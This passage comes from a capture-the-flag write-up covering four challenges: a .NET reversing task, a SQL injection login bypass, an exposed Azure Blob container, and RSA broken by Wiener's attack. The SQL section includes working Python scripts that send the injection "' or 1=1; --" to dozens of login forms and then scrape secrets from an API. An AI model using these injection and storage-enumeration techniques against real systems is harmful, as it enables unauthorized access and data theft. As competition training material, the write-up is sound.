might be the decrypted flag, so we base64 decode var1
and xor it with var2
with CyberChef.
Find Me
We are given a binary to reverse in this challenge, and after looking at it in IDA it looks horrible!
The reason for this can be found in the strings
of the program, indicating that this might be some dotnet
program. This would also explain why the code looks so messy when decompiled.
1
2
3
4
5
6
7
8
9
$ strings findme | grep .NET
@0.NETCoreApp,Version=v8.0
.NET}I
.NET 8.0
DOTNET_
Cannot use regions without specifying the range (using DOTNET_GCRegionRange)
.NET BGC
DOTNET_DbgEnableMiniDump is set and the createdump binary does not exist: %s
.NET SigHandler
Running the binary reveals the first 5 bytes of the flag, so we must find a way to recover the rest.
1
2
3
$ ./findme
This is the 5 first bytes of the flag: EPT{Y
Can you find the rest?
One of my teammates found that the flag is printed to stdout with the write
function. Half-seriously, I then loaded up the binary in GDB (with pwndbg extension), set a breakpoint on the write
function, and searched for the flag-prefix EPT{
in memory with pwndbg’s search
command. The flag was apparently stored in plaintext in one of the memory sections of the program…
1
2
3
pwndbg> search "EPT{"
Searching for value: 'EPT{'
[anon_7fbffa800] 0x7fbffa8056e8 'EPT{YOU_FOUND_4_WAY_TO_R3AD_M3_W3LL_DON3}NP3V1jrPEW3O3GOm74AzQ0eVtf7PzEno9OpwU6cA'
Misc
SQL 101
Opening the webpage we are given 101 (!) login forms.
Our first objective is to create a script which identifies which login form is vulnerable to a SQL-injection. One of my teammates wrote the following script using multiprocessing to find the correct form, which I then extended to solve the remaining of the challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from multiprocessing.dummy import Pool
import re
import requests
import time
urlbase = "https://53kilomeddata-d6f0-allthoseforms.ept.gg"
mainpage_response = requests.get(urlbase + "/login").text
format = """<form method="post" action="/login/(.+)">"""
endpoints = re.findall(format, mainpage_response)
def pr(i, e):
url = urlbase + "/login/" + e
login_response = requests.post(url, data={'username': "a' or 1=1; --", "password": "' or 1=1;--"})
if "Invalid login credentials!" not in login_response.text:
# TODO: Form is vulnerable
pool = Pool(50)
for i, e in enumerate(endpoints):
pool.apply_async(pr, args=[i, e])
time.sleep(20)
When the login-form is bypassed with the SQL injection we are greeted with the following page, mentioning some API documentation located at /api-docs
(href in html code).
The /api-docs
webpage shows the API documentation of the endpoint /api/secrets
, where the flag most likely is located. All we need to do is query all the pages until we find the flag.
Using the following script we search for the flag among the secrets:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from multiprocessing.dummy import Pool
import re
import requests
import time
urlbase = "https://53kilomeddata-d6f0-allthoseforms.ept.gg"
mainpage_response = requests.get(urlbase + "/login").text
format = """<form method="post" action="/login/(.+)">"""
endpoints = re.findall(format, mainpage_response)
def pr(i, e):
url = urlbase + "/login/" + e
login_response = requests.post(url, data={'username': "a' or 1=1; --", "password": "' or 1=1;--"})
if "Invalid login credentials!" not in login_response.text:
# Create a session, or else we do not keep our authentication
s = requests.Session()
r = s.post(url, data={'username': "a' or 1=1; --", "password": "' or 1=1;--"})
for i in range(1, 100):
r = s.get(urlbase + f"/api/secrets?page={i}&page_size=20")
if "EPT" in r.text:
res = r.json()
for secret in res.get("secrets", []):
if "EPT" in secret.get("text", ""):
print(secret)
exit()
pool = Pool(50)
for i, e in enumerate(endpoints):
pool.apply_async(pr, args=[i, e])
time.sleep(20)
At page 80, with id 1598, we find the flag.
1
2
$ python3 sql.py
{'id': 1598, 'text': 'EPT{0ae0fbea-9a8c-4b2c-8e33-b383c8c8f94f}'}
EPT Arcade Game
This challenge is a snake-like game where we control the blue square, and get points when we collide with the EPT-logos. We have 20 seconds per level to get all the logos, which advances us to the next level.
Unfortunately, this game seems to run endlessly.
Looking at the html-code of the webpage we see the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Arcade Game - Play</title>
<link rel="icon" type="image/png" href="https://a8261cebfbaccblob.blob.core.windows.net/private/ept.png">
<link rel="stylesheet" href="/static/css/styles.css">
</head>
<body>
<header>
<h1>Welcome to the EPT Arcade Game</h1>
</header>
<div class="content">
<div id="game-container">
<canvas id="gameCanvas"></canvas>
</div>
<div id="score-container">
<p>Score: <span id="score">0</span></p>
<p>Level: <span id="level">1</span></p>
<p>Time left: <span id="time">20</span> seconds</p>
</div>
<script>
// Pass the target URL from Flask to the JavaScript
const target_url = "https://a8261cebfbaccblob.blob.core.windows.net/private/ept.svg";
</script>
</div>
<footer>
<p>© 2024 EPT Arcade Game</p>
</footer>
<script src="/static/js/game.js"></script>
</body>
</html>
The target_url
is interesting. It references what seems like an Azure Blob storage, where it stores its image files. Without any knowledge of how this could be useful googling ctf blob.core.windows.net
lead to this writeup of a similar challenge. It seems that if anonymous access
is enabled for this type of storage, requesting the url <StorageAccountName>.blob.core.windows.net/<ContainerName>?restype=container&comp=list
will list the files stored within this container. The ContainerName
is in our case private
, and requesting the url lists the following three files:
ept.png
ept.svg
flag-1s-h3r3.txt
We now have the name of the flag-file.
1
2
$ curl https://<StorageAccountName>.blob.core.windows.net/private/flag-1s-h3r3.txt
EPT{b72b9f5611694c29b334c246f1d16a6d}
Crypto
Chatlog
From reading the challenge description, it is clear that this is a RSA (Rivest–Shamir–Adleman) challenge. We are given a chatlog where the public factors N
and e
are given, along with the ciphertext.
1
2
3
4
[22:10:25] <Mr.Rivest> Hi, I need to send you something. Can you send me your key?
[22:11:03] <Mr.Adleman> Sure, here: n=109773001979060500556771371722004589561407766472974181720301601504038097307183054327771414952722378616410690575654297998413723333283006388834687489519816814313970602740394095998728900971165525449666220812031401613319432338039749036919424709291358478655637030475075112370396605574403821950130705107292457546429 e=6251728305055461128215101113791542074487626873355761684912706796947820318045025894574010369655098754702916182673592159941529716341070091220295342244632166182377719507598162603755176681008223777597129409701832290624714334993812111228876927501848766224885363439534844304635205290155102644689388281018248057599
[22:11:47] <Mr.Rivest> 69065966519105922162577567455261680573815854481710157074477507437933398566834762071577601999308205592512262422922008600362846112148013817314127895526875891430442404421013800492060589763419224572960632800381314756724351337523874069656512900871727433364755041357985429952615910953420906893665747562715489326060
[22:12:19] <Mr.Adleman> Hmm, I see... Thanks!
The first thing we tried was to check with factordb if N
has any known factors. If this was the case, we would know p
and q
, and could subsequently construct the decryption key d = e^-1 % ( (p-1)*(q-1) )
. Unfortunately, the N
in this challenge has no known factors.
One thing that stands out is that e
is very large in this challenge, as usually e = 0x10001
. Because e
is very large, the decryption key d
is likely to be relatively small, and therefore vulnerable to Wiener’s attack if certain size-requirements are met. Luckily, because this is a known attack we don’t have to script all the code ourselves, and can just use RsaCtfTool for example.
1
2
3
4
$ python3 RsaCtfTool.py --attack wiener -n 109773001979060500556771371722004589561407766472974181720301601504038097307183054327771414952722378616410690575654297998413723333283006388834687489519816814313970602740394095998728900971165525449666220812031401613319432338039749036919424709291358478655637030475075112370396605574403821950130705107292457546429 -e 6251728305055461128215101113791542074487626873355761684912706796947820318045025894574010369655098754702916182673592159941529716341070091220295342244632166182377719507598162603755176681008223777597129409701832290624714334993812111228876927501848766224885363439534844304635205290155102644689388281018248057599 --decrypt 69065966519105922162577567455261680573815854481710157074477507437933398566834762071577601999308205592512262422922008600362846112148013817314127895526875891430442404421013800492060589763419224572960632800381314756724351337523874069656512900871727433364755041357985429952615910953420906893665747562715489326060
[*] Attack success with wiener method !
PKCS#1.5 padding decoded!
utf-8 : EPT{Shamir_is_up_2_something}